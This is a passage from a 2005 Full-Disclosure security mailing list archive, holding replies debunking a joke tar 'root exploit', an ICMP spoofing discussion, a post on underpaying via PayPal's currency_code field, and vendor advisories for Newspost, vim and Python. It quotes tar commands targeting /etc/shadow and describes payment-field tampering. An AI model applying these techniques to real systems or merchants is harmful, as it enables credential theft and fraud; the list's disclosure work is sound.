- - - - - > Severity: HIGH > Title: TAR: Local root exploit using Tar > Date: February 02, 2005 > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ...is not reproducible. PoC fails in several steps. > Proof of Concept > ================ > > # tar -cf parishiltonpr0n.tar /etc/shadow Chmod for /etc/shadow must be set to 600 by design. So tar fails as expected with "tar: /etc/shadow: Cannot open: Permission denied" Okay, for completeness' sake, continuing with a 644'ed /etc/shadow, just in case. > $ tar -xvf parishiltonpr0n.tar > tar: blocksize = 8 > x /etc/shadow, 1100 bytes, 5 tape blocks Permission problem here as well - tar fails with "tar: shadow: Cannot open: File exists" So the attack only is successful if you have your permissions of /etc/shadow set to 666 or similar, which is an evil thing (sorry for the pun). If the password file is world-writable anyway you don't even need the way 'round with tar and HTTP transfer - simply set your own passwords for anyone you would like to - VI or EMACS is all you need in this case. Similar if /etc/ itself is set to 777. Alternatively the TAR binary might be SUID'ed, which is A Bad Idea(TM), too - which are all SUID'ed programs that can write to arbitrary locations... So the problem is not TAR, but the "cracked" wide-open system, that was misconfigured against all defaults and standards. Bye Volker -- Volker Tanger http://www.wyae.de/volker.tanger/ -------------------------------------------------- vtlists at wyae.de PGP Fingerprint 378A 7DA7 4F20 C2F3 5BCC 8340 7424 6122 BB83 B8CB From kkadow at gmail.com Wed Feb 2 22:32:15 2005 From: kkadow at gmail.com (Kevin) Date: Wed, 2 Feb 2005 16:32:15 -0600 Subject: [Full-Disclosure] ICMP Covert channels question In-Reply-To: <200502021802.j12I27aN024719@turing-police.cc.vt.edu> References: <1ede00f705012814451ccbd1cd@mail.gmail.com> <1ede00f705013006247ad82427@mail.gmail.com> <200502021802.j12I27aN024719@turing-police.cc.vt.edu> Message-ID: cyberpixl wrote: > Well, what i meant was what if i use the networks router as a bounce > host in order to get the packets into the network? > > If an icmp packet arrives at routers wan port with a source ip of an > internal host will it send the echoreply to its lan port? Yes. Lacking proper anti-spoof ingress filtering, this will work. > I currently haven't got the chance to test this, but i will as soon as > i can. Then, in order to receive replyes from the host behind the > firewall all I'd have to do is make it send packets to a bounce server > outsede the network, like google.com with source set to my ip > (assuming then that the router freely allows icmp traffic out > of the network). Yes, lacking proper anti-spoof egress filtering, this will work. A correctly configured firewall should reject such packets on several grounds, even if ICMP is permitted by policy. On Wed, 02 Feb 2005 13:02:07 -0500, Valdis.Kletnieks at vt.edu wrote: > > Also, packet filtering is based on router configuration. More and more > > administrators are filtering packets with unexpected source and/or > > destination addresses ( ingress and egress filtering ). Proper ingress and egress filtering at all edge routers is critical for security. Rarely do I find a small site blocking outbound traffic based on the source IP. While "non-routable" *destination* addresses should not make it across the Internet, it is common for unroutable source addresses to be seen on inbound packets coming from the Internet. > The number of sites doing proper filtering may be growing, but it's certainly > still low enough that the attack still has a fairly high chance of working. With the a growing number of ISPs implementing Reverse Path Forwarding (aka "Unicast RPF") on all customer connections, it should become more difficult to inject spoofed traffic through reputable providers. Kevin From niek at packetstorm.nu Wed Feb 2 23:32:16 2005 From: niek at packetstorm.nu (Niek) Date: Thu, 03 Feb 2005 00:32:16 +0100 Subject: [Full-Disclosure] UNIX Tar Security Advisory from TEAM PWN4GE In-Reply-To: <20050202203211.8796F21AFF9@ws5-6.us4.outblaze.com> References: <20050202203211.8796F21AFF9@ws5-6.us4.outblaze.com> Message-ID: <42016300.3030805@packetstorm.nu> On 2/2/2005 9:32 PM +0100, Team Pwnge wrote: > Connecting to www.(PROTECTEDSITENAME).net[198.81.129.100]:80... connected. nice ip, next advisory please; not. Niek From 2600hz at hushmail.com Wed Feb 2 22:30:26 2005 From: 2600hz at hushmail.com (2600hz) Date: Wed, 2 Feb 2005 14:30:26 -0800 Subject: [Full-Disclosure] PayPal /webscr currency substitution exploit? Message-ID: <200502022230.j12MUZux044744@mailserver2.hushmail.com> NOTICE: Yes, I realize zillions of you are waiting with baited breath to follow up with examples previously posted, and if so, I apologize. Regardless, since this multi-blend exploit/misconfiguration is so accommodating, something should be said to users, either by a reminder or truncheon across the head. Indeed, it is the USERS responsibility to ensure their payment processes are secure, yet PayPal should do a bit more, IMHO, especially with those older accounts that don't know any better! I'm flabbergasted this is still possible...and hey, if anyone wants to go into full-oink tech explanations, have at it, my brothers...I'm getting too old and my head hurts a bit this morning. My ego ain't in this...could be the deep-fried crescent wrench I ate @ the last BurningMan... Whoa...better get some Traction on this issue and display Thought Leadership if I'm ever going to get this all down... Date discovered: 3 January, 2005 (after widespread checking) Description: PayPal is one of the most popular electronic payment services on the planet that enables users to purchase goods, services, and for some reason, just about every piece of over- hyped, over-promoted and underwhelming piece spy-software known to G_d. (Is it just me or...?) Through an easy link on the sellers web page, buyers can enter in purchasing information and receive the services offered....sometimes paying 1/10 of what is really costs, through misconfiguration. This was found doing a sanctioned and routine application audit/experiment; a lark exploit, figuratively speaking. Affected Platforms/Types of purchases: Thousands -- Many software, e-book, membership, or virtual services that utilize automated processing via a buy link: https://www.paypal.com/cgi-bin/webscr NOTE: In these particular cases, I notified/had permission/GOOJFC*. The vendor corrected the issue within 16 hours, and they're hard to find!...and in no way do I condone this sort of thing...don't do it! Example #1: http://www.camophone.com is a Caller-ID obscuficating service that let's one have too much phun sp00fing their tele number, i.e., two proles in the next cube hate each other, you sitting there dialing merrily away, having them call each other with fake ID #...making starving monkey sounds into the phone and hanging up. A fight ensues -- they're fired -- you're promoted. Thanx, CamoPhone, for helping us claw up the corporate ladder! In this particular case, one signs up, makes an ID, purchases time via PayPal and simply starts calling...the exploit allows one to purchase 1000 minutes for about the price of 100...and no, I don't work for them. ------>how used: https://www.paypal.com/cgi-bin/webscr has a number of form fields that facilitate automated payment processing. By substituting currencies in the form field "currency_code", the order goes through via automated submittal. I'm not going to extrapolate some masturbatory example here folks, it's too simple and not even a hack, IMHO; the field isn't validated, it's only looking for the numeric string. The substituted currency used in this example had about 1/10 of the required value of the stated field. Within seconds, a confirmation email is sent to vendor OK'ing the transaction, showing payment, and....boom...Proud 0wn3r! Repeat by about a bazillion sites, OK? To PayPal's credit, the default setting is set@ accepting only one form of currency. And there are other features enabled to try and make this a rare occurence. Yet what about the minions who haven't checked the SOP lately? What, like a million users? Indeed, the only PayPal site they may have checked was a sp00fed one...but I digress. I repeat - - PayPal is the service, not the enemy, yet I firmly believe there's some room for stronger corporate responsibility stance, like checking their customer's scripts, reminding older users, etc...and dammit, answer the phone with a human. Status/Fix: Review allowed form field entries. Correct. Repeat. Count cash rolling in. Become Yak farmer in Albanian countryside. Or something. http://www.camophone.com : Corrected. Displayed superb skills in correcting the error...literally within 16 hours. http://www.paypal.com : I'm still on hold with PayPal's corporate office as i write this. I've called them something like 20 times, leaving messages in various voice mailboxes (when the main line didn't ring 'busy' -- the receptionist doesn't know where the corp. security department is. Email? Canned answer....and hey, this isn't PayPal's problem, per se. Yet... ------------------------------------ /RANT MODE: ...and another thing! I've gone through hundreds of sites, only to find the same, or worse; plethora's of misconfiguration, forms that don't care about price and sellers asleep at the wheel. Look, I know that the collective "WE" in the security community often take things to the extreme, yet this is grim. This sort of thing promulgates the inherent idea/thought that Internet Commerce is insecure. At this point, seeing stuff I thought we fixed 9 years ago, I couldn't agree more. 2600hz Proud Owner, Timex-Sinclair ZX-80 w/16k pack (x_x) Last note: We have the power to communicate with every soul on the planet. Yet we can't get the word out on this? Easy fix, tough result if not. All rights reserved. You're soaking in it, too. -- greetings to AC-130 Gunship crews, Eeye muckrakers, the guy who passes me @130mph in a Fairlady Z everyday, osgo and the MS Spell- Check team: I'm a Spelling 'Tard, but you sure try your utmost to ensure my writing exhibits paradigm shifts in brilliance. Thanx! Concerned about your privacy? Follow this link to get secure FREE email: http://www.hushmail.com/?l=2 Free, ultra-private instant messaging with Hush Messenger http://www.hushmail.com/services-messenger?l=434 Promote security and make money with the Hushmail Affiliate Program: http://www.hushmail.com/about-affiliate?l=427 From howells at kde.org Wed Feb 2 23:47:02 2005 From: howells at kde.org (Chris Howells) Date: Wed, 2 Feb 2005 23:47:02 +0000 Subject: [Full-Disclosure] UNIX Tar Security Advisory from TEAM PWN4GE In-Reply-To: <20050202231812.420693ce.vtlists@wyae.de> References: <20050202231812.420693ce.vtlists@wyae.de> Message-ID: <200502022347.08394.howells@kde.org> On Wednesday 02 February 2005 22:18, Volker Tanger wrote: > So the problem is not TAR, but the "cracked" wide-open system, that was > misconfigured against all defaults and standards. I have a feeling that it was intended as a joke. Unfortunately I tried hard to find it funny. Oh I tried hard. I failed. -- Cheers, Chris Howells -- chris at chrishowells.co.uk, howells at kde.org Web: http://www.chrishowells.co.uk, PGP ID: 0x33795A2C KDE/Qt/C++/PHP Developer: http://www.kde.org -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/3d3696ae/attachment.bin From lewk at gentoo.org Thu Feb 3 00:25:09 2005 From: lewk at gentoo.org (Luke Macken) Date: Wed, 2 Feb 2005 19:25:09 -0500 Subject: [Full-Disclosure] [ GLSA 200502-05 ] Newspost: Buffer overflow vulnerability Message-ID: <20050203002509.GA6294@tomservo> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200502-05 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Newspost: Buffer overflow vulnerability Date: February 03, 2005 Bugs: #78530 ID: 200502-05 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== A buffer overflow can be exploited to crash Newspost remotely and potentially execute arbitrary code. Background ========== Newspost is a Usenet News binary autoposter. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-nntp/newspost < 2.0-r1 >= 2.0-r1 Description =========== Niels Heinen has discovered a buffer overflow in the socket_getline() function of Newspost, which can be triggered by providing long strings that do not end with a newline character. Impact ====== A remote attacker could setup a malicious NNTP server and entice a Newspost user to post to it, leading to the crash of the Newspost process and potentially the execution of arbitrary code with the rights of the Newspost user. Workaround ========== There is no known workaround at this time. Resolution ========== All Newspost users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-nttp/newspost-2.0-r1" References ========== [ 1 ] CAN-2005-0101 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0101 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200502-05.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/965d71dc/attachment.bin From security at linux-mandrake.com Thu Feb 3 01:07:13 2005 From: security at linux-mandrake.com (Mandrakelinux Security Team) Date: Wed, 02 Feb 2005 18:07:13 -0700 Subject: [Full-Disclosure] MDKSA-2005:029 - Updated vim packages fix vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: vim Advisory ID: MDKSA-2005:029 Date: February 2nd, 2005 Affected versions: 10.0, 10.1, Corporate Server 2.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: Javier Fernandez-Sanguino Pena discovered two vulnerabilities in scripts included with the vim editor. The two scripts, "tcltags" and "vimspell.sh" created temporary files in an insecure manner which could allow a malicious user to execute a symbolic link attack or to create, or overwrite, arbitrary files with the privileges of the user invoking the scripts. The updated packages are patched to prevent this problem. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0069 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: a497615138e30904c32539215c6d903a 10.0/RPMS/vim-X11-6.2-14.3.100mdk.i586.rpm d488f55bedf67594dd520297fd3eface 10.0/RPMS/vim-common-6.2-14.3.100mdk.i586.rpm 85cfc298b9a02967094efea290782997 10.0/RPMS/vim-enhanced-6.2-14.3.100mdk.i586.rpm 1cc86fc0a1d9ef8afc4ac7ec5d21e178 10.0/RPMS/vim-minimal-6.2-14.3.100mdk.i586.rpm c2430368e2a00f10c5f4478031aef8f5 10.0/SRPMS/vim-6.2-14.3.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 65c740cdd93cf118f0388092ca1df805 amd64/10.0/RPMS/vim-X11-6.2-14.3.100mdk.amd64.rpm b3b77571fd585b4a203ad38fb67491f4 amd64/10.0/RPMS/vim-common-6.2-14.3.100mdk.amd64.rpm fc971fbd7139933cb2310750fd2bfa07 amd64/10.0/RPMS/vim-enhanced-6.2-14.3.100mdk.amd64.rpm 308e09ca94743cabc8383931343e2f25 amd64/10.0/RPMS/vim-minimal-6.2-14.3.100mdk.amd64.rpm d6d5c1fb367631a5817b1adf26a7c088 amd64/10.0/SRPMS/vim-6.3-5.3.101mdk.src.rpm Mandrakelinux 10.1: 7402ce38068ebe6428e255aed9d1b32a 10.1/RPMS/vim-X11-6.3-5.3.101mdk.i586.rpm 59540cd8bc6175cf354a139e677eae99 10.1/RPMS/vim-common-6.3-5.3.101mdk.i586.rpm bb529b506445cb7b683541a80ac8d886 10.1/RPMS/vim-enhanced-6.3-5.3.101mdk.i586.rpm 0cab225825abe756aaa7af0a43f6a6d8 10.1/RPMS/vim-minimal-6.3-5.3.101mdk.i586.rpm d6d5c1fb367631a5817b1adf26a7c088 10.1/SRPMS/vim-6.3-5.3.101mdk.src.rpm Mandrakelinux 10.1/X86_64: bf3df27d80419a64537f3b05d144439a x86_64/10.1/RPMS/vim-X11-6.3-5.3.101mdk.x86_64.rpm 40d259fa79d53d7711fe2fc167d55350 x86_64/10.1/RPMS/vim-common-6.3-5.3.101mdk.x86_64.rpm 9ffd842e2a1477cda4c9f13de0793b52 x86_64/10.1/RPMS/vim-enhanced-6.3-5.3.101mdk.x86_64.rpm fbcf081d2a5e210795d7bd342f4cba0b x86_64/10.1/RPMS/vim-minimal-6.3-5.3.101mdk.x86_64.rpm d6d5c1fb367631a5817b1adf26a7c088 x86_64/10.1/SRPMS/vim-6.3-5.3.101mdk.src.rpm Corporate Server 2.1: 27e02262fe99d2577c72c71e18153b46 corporate/2.1/RPMS/vim-X11-6.1-34.4.C21mdk.i586.rpm b5803a5823cd5b6c6b7b0e62cbecc143 corporate/2.1/RPMS/vim-common-6.1-34.4.C21mdk.i586.rpm 6a814f9b4ca8ffb8368206b332067143 corporate/2.1/RPMS/vim-enhanced-6.1-34.4.C21mdk.i586.rpm a270b231cf03663def65755d917d08cf corporate/2.1/RPMS/vim-minimal-6.1-34.4.C21mdk.i586.rpm d5f472d9d348c8e99dbfa83bc873fada corporate/2.1/SRPMS/vim-6.1-34.4.C21mdk.src.rpm Corporate Server 2.1/x86_64: 0bc98c9d458f57a4fdcb6ac10658e300 x86_64/corporate/2.1/RPMS/vim-X11-6.1-34.4.C21mdk.x86_64.rpm 6f35bd36792982781e1bfebc169dd57b x86_64/corporate/2.1/RPMS/vim-common-6.1-34.4.C21mdk.x86_64.rpm 5053e63ecd2ab6ed166ede229e51ad74 x86_64/corporate/2.1/RPMS/vim-enhanced-6.1-34.4.C21mdk.x86_64.rpm 890f3cc6e7dee56eee795edaadddd311 x86_64/corporate/2.1/RPMS/vim-minimal-6.1-34.4.C21mdk.x86_64.rpm d5f472d9d348c8e99dbfa83bc873fada x86_64/corporate/2.1/SRPMS/vim-6.1-34.4.C21mdk.src.rpm Corporate Server 3.0: faefa2f1b13e3c11153e36d1f1d707e4 corporate/3.0/RPMS/vim-X11-6.2-14.3.C30mdk.i586.rpm bae1e23e67078f5690f3394111a6289f corporate/3.0/RPMS/vim-common-6.2-14.3.C30mdk.i586.rpm 2df691c870b48daab131a71137b295b5 corporate/3.0/RPMS/vim-enhanced-6.2-14.3.C30mdk.i586.rpm ee41e66c0ed6d9a0157f24ec9b0fd0a6 corporate/3.0/RPMS/vim-minimal-6.2-14.3.C30mdk.i586.rpm cce31946fe7b92757d3eaad0cea7e753 corporate/3.0/SRPMS/vim-6.2-14.3.C30mdk.src.rpm Corporate Server 3.0/x86_64: fafa8df15c0676711e63689bd5d11de1 x86_64/corporate/3.0/RPMS/vim-X11-6.2-14.3.C30mdk.x86_64.rpm 7c088d76fb877d54d90a905a5c5ab52a x86_64/corporate/3.0/RPMS/vim-common-6.2-14.3.C30mdk.x86_64.rpm d125cc150934654a157ec5671ecc678b x86_64/corporate/3.0/RPMS/vim-enhanced-6.2-14.3.C30mdk.x86_64.rpm a9ce3a8cc79cb9d852de8cd4e1bed07d x86_64/corporate/3.0/RPMS/vim-minimal-6.2-14.3.C30mdk.x86_64.rpm cce31946fe7b92757d3eaad0cea7e753 x86_64/corporate/3.0/SRPMS/vim-6.2-14.3.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD4DBQFCAXlAmqjQ0CJFipgRAhL7AJdm2F7Yho1bG5Qw7owt2wc2LWHvAJ9gD/78 M5oXt4nsE9BE+StGmDSLGA== =tcLS -----END PGP SIGNATURE----- From Valdis.Kletnieks at vt.edu Thu Feb 3 04:12:07 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Wed, 02 Feb 2005 23:12:07 -0500 Subject: [Full-Disclosure] UNIX Tar Security Advisory from TEAM PWN4GE In-Reply-To: Your message of "Wed, 02 Feb 2005 23:18:12 +0100." <20050202231812.420693ce.vtlists@wyae.de> References: <20050202231812.420693ce.vtlists@wyae.de> Message-ID: <200502030412.j134C7ks005744@turing-police.cc.vt.edu> On Wed, 02 Feb 2005 23:18:12 +0100, Volker Tanger said: > Alternatively the TAR binary might be SUID'ed, which is A Bad Idea(TM), > too - which are all SUID'ed programs that can write to arbitrary > locations... And in the prehistoric dawn of the computer era, about 15 years ago, IBM made one of the first RISC-based systems, the RT. One of the operating systems available for it was AIX 2.2 (a SYSV port, which came out before AIX 1.2 for the x86 family of PS/2 boxes), which indeed shipped with a setuid /bin/tar. First time I saw that, I said to myself "Damn, I've been hax0red". Then I re-installed tar from the original system media - and promptly wished it had in fact been a trojaned binary. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050202/d9bc46ac/attachment.bin From info at iiss2004.com Thu Feb 3 12:05:39 2005 From: info at iiss2004.com (Info) Date: Thu, 3 Feb 2005 17:35:39 +0530 Subject: [Full-Disclosure] Postponement of Information Securiy Summit from FEBRUARY to APRIL @ Hyderabad-India. Message-ID: <153201c509e8$d6d96040$6f010a0a@e2labs> Dear Sir/Madam, At the outset, we wish you a Happy and Prosperous New Year 2005. We take this opportunity to extend our deep appreciation for your wonderful response to our invitation for the IISS 2005 summit to be held in Hyderabad-India. Unfortunately, the summit which was being organised by Information Security Forum(ISF) has been postponed due to various reasons beyond our control and we sincerely regret the inconvenience caused. Firstly, the dates of the summit clash with a special budget session scheduled to be held at the same time owing to which many important Government representatives have requested for a more convenient date. Secondly, the state of Bihar, Jharkhand & Haryana goes to the polls around the same time as a result of which the union and state Ministers respectively for Information Technology have expressed their inability to attend on these dates. In addition, many representatives from the International Community have voiced their apprehensions about attending the summit at such short notice. In view of the above, we have decided to postpone the summit to April 18, 19 & 20-2005. We would be holding a press conference towards the mid of February to announce the schedule for the summit. We once again regret the inconvenience caused. With Regards, Amit Foi Event Manager-IISS Email : info at iiss2004.com Visit : www.iiss2004.com Mobile : +91-98853-10747 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050203/ef032abc/attachment.html From martin.pitt at canonical.com Thu Feb 3 16:18:26 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Thu, 3 Feb 2005 17:18:26 +0100 Subject: [Full-Disclosure] [USN-73-1] Python vulnerability Message-ID: <20050203161826.GA22794@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-73-1 February 03, 2005 python2.2, python2.3 vulnerability CAN-2005-0089 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: python2.2 python2.3 The problem can be corrected by upgrading the affected package to version 2.2.3-10ubuntu0.1 (python2.2) and 2.3.4-2ubuntu0.1 (python2.3). After a standard system upgrade you must restart all running Python server applications that use XML-RPC to effect the necessary changes. Details follow: The Python developers discovered a flaw in the SimpleXMLRPCServer module. Python XML-RPC servers that used the register_instance() method to register an object, but do not have a _dispatch() method, allowed remote users to access or change function internals using the im_* and func_* attributes. Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2_2.2.3-10ubuntu0.1.diff.gz Size/MD5: 1927781 2df9c99747532348619bbb8d8d5f3996 http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2_2.2.3-10ubuntu0.1.dsc Size/MD5: 1184 3e1c5d029c99987852bad718712dcf76 http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2_2.2.3.orig.tar.gz Size/MD5: 6711816 c23fbe6a0cdf800734f5813b9f7cb1d0 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3_2.3.4-2ubuntu0.1.diff.gz Size/MD5: 2284380 04304bcdf030e24976fa4f846b754aa8 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3_2.3.4-2ubuntu0.1.dsc Size/MD5: 1141 28c897b1a2c44ee9eb72cc30177f8697 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3_2.3.4.orig.tar.gz Size/MD5: 8502596 d68a6a490c04b2c8f664ba4f2192e2fb Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/idle-python2.2_2.2.3-10ubuntu0.1_all.deb Size/MD5: 116018 b4ab3787a4c6b4025a9ae70393990b45 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.3/idle-python2.3_2.3.4-2ubuntu0.1_all.deb Size/MD5: 228350 07375ecb2762227776cd700429d8531c http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-doc_2.2.3-10ubuntu0.1_all.deb Size/MD5: 2268242 a572cf6409ca4a82721952ae7d36529d http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-examples_2.2.3-10ubuntu0.1_all.deb Size/MD5: 479006 cdf96d86449bdbd72ef25e5830a9a8fe http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-doc_2.3.4-2ubuntu0.1_all.deb Size/MD5: 2816894 91930107a10bb529d3cba16312457d76 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-examples_2.3.4-2ubuntu0.1_all.deb Size/MD5: 507732 2daf5ccaec4f6b967223b09b15f85197 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2-dev_2.2.3-10ubuntu0.1_amd64.deb Size/MD5: 1402344 a1d36ff39d0fb0cf2a05b22175f3083f http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-gdbm_2.2.3-10ubuntu0.1_amd64.deb Size/MD5: 20138 e771840c7881423e226d0fb37a2e1a1e http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-mpz_2.2.3-10ubuntu0.1_amd64.deb Size/MD5: 24932 a71d0c4e6301b330b62edc73865300ae http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2-tk_2.2.3-10ubuntu0.1_amd64.deb Size/MD5: 96092 606bcccac218c73b3f86658cb4ba4750 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-xmlbase_2.2.3-10ubuntu0.1_amd64.deb Size/MD5: 54902 a030a68171c6fc6591a9e8af1ed1c31b http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2_2.2.3-10ubuntu0.1_amd64.deb Size/MD5: 2240692 59cb63acc72ee9b6b93f786555f6343f http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-dev_2.3.4-2ubuntu0.1_amd64.deb Size/MD5: 1747592 a9c0dd251682fb7101ebfcad03d1d114 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-gdbm_2.3.4-2ubuntu0.1_amd64.deb Size/MD5: 22300 5cc5444cf4c6361e7f2bb7970a53dad2 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-mpz_2.3.4-2ubuntu0.1_amd64.deb Size/MD5: 27138 f362a0c22d0ebeb4f82910ce8fad2206 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-tk_2.3.4-2ubuntu0.1_amd64.deb Size/MD5: 104686 ce82ad1e4225e88a9d442e86e3df1cbd http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3_2.3.4-2ubuntu0.1_amd64.deb Size/MD5: 2868960 2eb165d9c2654606c26cf2f8e195b638 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2-dev_2.2.3-10ubuntu0.1_i386.deb Size/MD5: 1272072 875cdbb06f99e8a47e3c101e15663c8a http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-gdbm_2.2.3-10ubuntu0.1_i386.deb Size/MD5: 19798 d77efa2115ebe5865ea364851469a829 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-mpz_2.2.3-10ubuntu0.1_i386.deb Size/MD5: 23686 45e1ed9fd53a647d917537c10c7a46d6 http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2-tk_2.2.3-10ubuntu0.1_i386.deb Size/MD5: 93364 389380de54da2d08c7b04c1aa4c95677 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-xmlbase_2.2.3-10ubuntu0.1_i386.deb Size/MD5: 53162 90aaed4f73b488ada5cd06986d226614 http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2_2.2.3-10ubuntu0.1_i386.deb Size/MD5: 2114526 47c6ae1fece9dc560b1e8936e79df43e http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-dev_2.3.4-2ubuntu0.1_i386.deb Size/MD5: 1601264 7abd99ff94b75c7afd6c1588215293de http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-gdbm_2.3.4-2ubuntu0.1_i386.deb Size/MD5: 21950 9b9dde52eabbc8814c1e3afa2704473f http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-mpz_2.3.4-2ubuntu0.1_i386.deb Size/MD5: 25828 e784462eff29ce1e01bfe752868abd27 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-tk_2.3.4-2ubuntu0.1_i386.deb Size/MD5: 102082 dcdfa6a516d8d304f61d545004ddd966 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3_2.3.4-2ubuntu0.1_i386.deb Size/MD5: 2709818 3cb0d2298cd5f16cc788a605030cb443 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2-dev_2.2.3-10ubuntu0.1_powerpc.deb Size/MD5: 1503152 4256f400ee60f9742b126b0e1b3a7632 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-gdbm_2.2.3-10ubuntu0.1_powerpc.deb Size/MD5: 21666 6ee9aba13aeeaa94241a8c3374845cf1 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-mpz_2.2.3-10ubuntu0.1_powerpc.deb Size/MD5: 26042 6379c3913926b334540a7242375d0941 http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2-tk_2.2.3-10ubuntu0.1_powerpc.deb Size/MD5: 96722 cb91d46072de61a5ada927174302ffe9 http://security.ubuntu.com/ubuntu/pool/universe/p/python2.2/python2.2-xmlbase_2.2.3-10ubuntu0.1_powerpc.deb Size/MD5: 55926 8cc515a6cf422176e742308f084d3f19 http://security.ubuntu.com/ubuntu/pool/main/p/python2.2/python2.2_2.2.3-10ubuntu0.1_powerpc.deb Size/MD5: 2358186 d741cf48639a380c1a2b0e403d5ed8d6 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-dev_2.3.4-2ubuntu0.1_powerpc.deb Size/MD5: 1863678 57357eb08927011b1cd7d380ff95bdf5 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-gdbm_2.3.4-2ubuntu0.1_powerpc.deb Size/MD5: 23732 b5c6ce94233cd2ec0766f2719f398cc8 http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-mpz_2.3.4-2ubuntu0.1_powerpc.deb Size/MD5: 28194 d177c4e8a8f4a939978720e52a70f46b http://security.ubuntu.com/ubuntu/pool/main/p/python2.3/python2.3-tk_2.3.4-2ubuntu0.1_powerpc.deb Size/MD5: 105318 